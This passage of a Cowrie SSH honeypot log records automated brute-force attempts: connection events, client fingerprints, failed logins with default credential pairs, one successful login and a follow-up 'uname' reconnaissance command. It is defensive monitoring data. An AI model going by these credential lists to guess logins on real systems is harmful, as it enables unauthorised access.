cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:36.400504Z","src_ip":"192.109.200.78","session":"0843bba1881c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:36.652910Z","src_ip":"192.109.200.78","session":"0843bba1881c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:37.742230Z","src_ip":"192.109.200.78","session":"0843bba1881c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46242,"dst_ip":"159.203.135.109","dst_port":22,"session":"5206c4a1ca36","protocol":"ssh","message":"New connection: 192.109.200.78:46242 (159.203.135.109:22) [session: 5206c4a1ca36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:40.029997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:40.035211Z","src_ip":"192.109.200.78","session":"5206c4a1ca36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:40.124351Z","src_ip":"192.109.200.78","session":"5206c4a1ca36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:40.369743Z","src_ip":"192.109.200.78","session":"5206c4a1ca36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:41.455133Z","src_ip":"192.109.200.78","session":"5206c4a1ca36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46252,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdd04d5e5804","protocol":"ssh","message":"New connection: 192.109.200.78:46252 (159.203.135.109:22) [session: cdd04d5e5804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:44.254035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:44.258693Z","src_ip":"192.109.200.78","session":"cdd04d5e5804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:44.341076Z","src_ip":"192.109.200.78","session":"cdd04d5e5804","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:44.592856Z","src_ip":"192.109.200.78","session":"cdd04d5e5804","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:44.805738Z","src_ip":"192.109.200.78","session":"cdd04d5e5804","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:44.809045Z","src_ip":"192.109.200.78","session":"cdd04d5e5804","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:44.895784Z","src_ip":"192.109.200.78","session":"cdd04d5e5804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:44.900893Z","src_ip":"192.109.200.78","session":"cdd04d5e5804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56030,"dst_ip":"159.203.135.109","dst_port":22,"session":"6da1b480ce5a","protocol":"ssh","message":"New connection: 192.109.200.78:56030 (159.203.135.109:22) [session: 6da1b480ce5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:48.352745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:48.359009Z","src_ip":"192.109.200.78","session":"6da1b480ce5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:48.446377Z","src_ip":"192.109.200.78","session":"6da1b480ce5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:48.697802Z","src_ip":"192.109.200.78","session":"6da1b480ce5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:49.835660Z","src_ip":"192.109.200.78","session":"6da1b480ce5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56056,"dst_ip":"159.203.135.109","dst_port":22,"session":"41d0bfd59e79","protocol":"ssh","message":"New connection: 192.109.200.78:56056 (159.203.135.109:22) [session: 41d0bfd59e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:52.621474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:52.630086Z","src_ip":"192.109.200.78","session":"41d0bfd59e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:52.717363Z","src_ip":"192.109.200.78","session":"41d0bfd59e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:52.969095Z","src_ip":"192.109.200.78","session":"41d0bfd59e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":56201,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f8d58582005","protocol":"ssh","message":"New connection: 177.54.62.66:56201 (10.17.0.5:22) [session: 8f8d58582005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:53.686986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:53.691141Z","src_ip":"177.54.62.66","session":"8f8d58582005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:53.832878Z","src_ip":"177.54.62.66","session":"8f8d58582005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:54.053036Z","src_ip":"192.109.200.78","session":"41d0bfd59e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"a","message":"login attempt [username/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:54.417303Z","src_ip":"177.54.62.66","session":"8f8d58582005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:55.557663Z","src_ip":"177.54.62.66","session":"8f8d58582005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56084,"dst_ip":"159.203.135.109","dst_port":22,"session":"cef3152349b0","protocol":"ssh","message":"New connection: 192.109.200.78:56084 (159.203.135.109:22) [session: cef3152349b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:56.589413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:56.594506Z","src_ip":"192.109.200.78","session":"cef3152349b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:56.682102Z","src_ip":"192.109.200.78","session":"cef3152349b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:56.932501Z","src_ip":"192.109.200.78","session":"cef3152349b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:58.096493Z","src_ip":"192.109.200.78","session":"cef3152349b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43214,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e61e628c707","protocol":"ssh","message":"New connection: 192.109.200.78:43214 (159.203.135.109:22) [session: 5e61e628c707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:00.861682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:00.866777Z","src_ip":"192.109.200.78","session":"5e61e628c707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:00.950098Z","src_ip":"192.109.200.78","session":"5e61e628c707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:01.206375Z","src_ip":"192.109.200.78","session":"5e61e628c707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42494,"dst_ip":"159.203.135.109","dst_port":22,"session":"4045b8d23ccd","protocol":"ssh","message":"New connection: 159.203.92.129:42494 (159.203.135.109:22) [session: 4045b8d23ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:01.252025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:01.265346Z","src_ip":"159.203.92.129","session":"4045b8d23ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed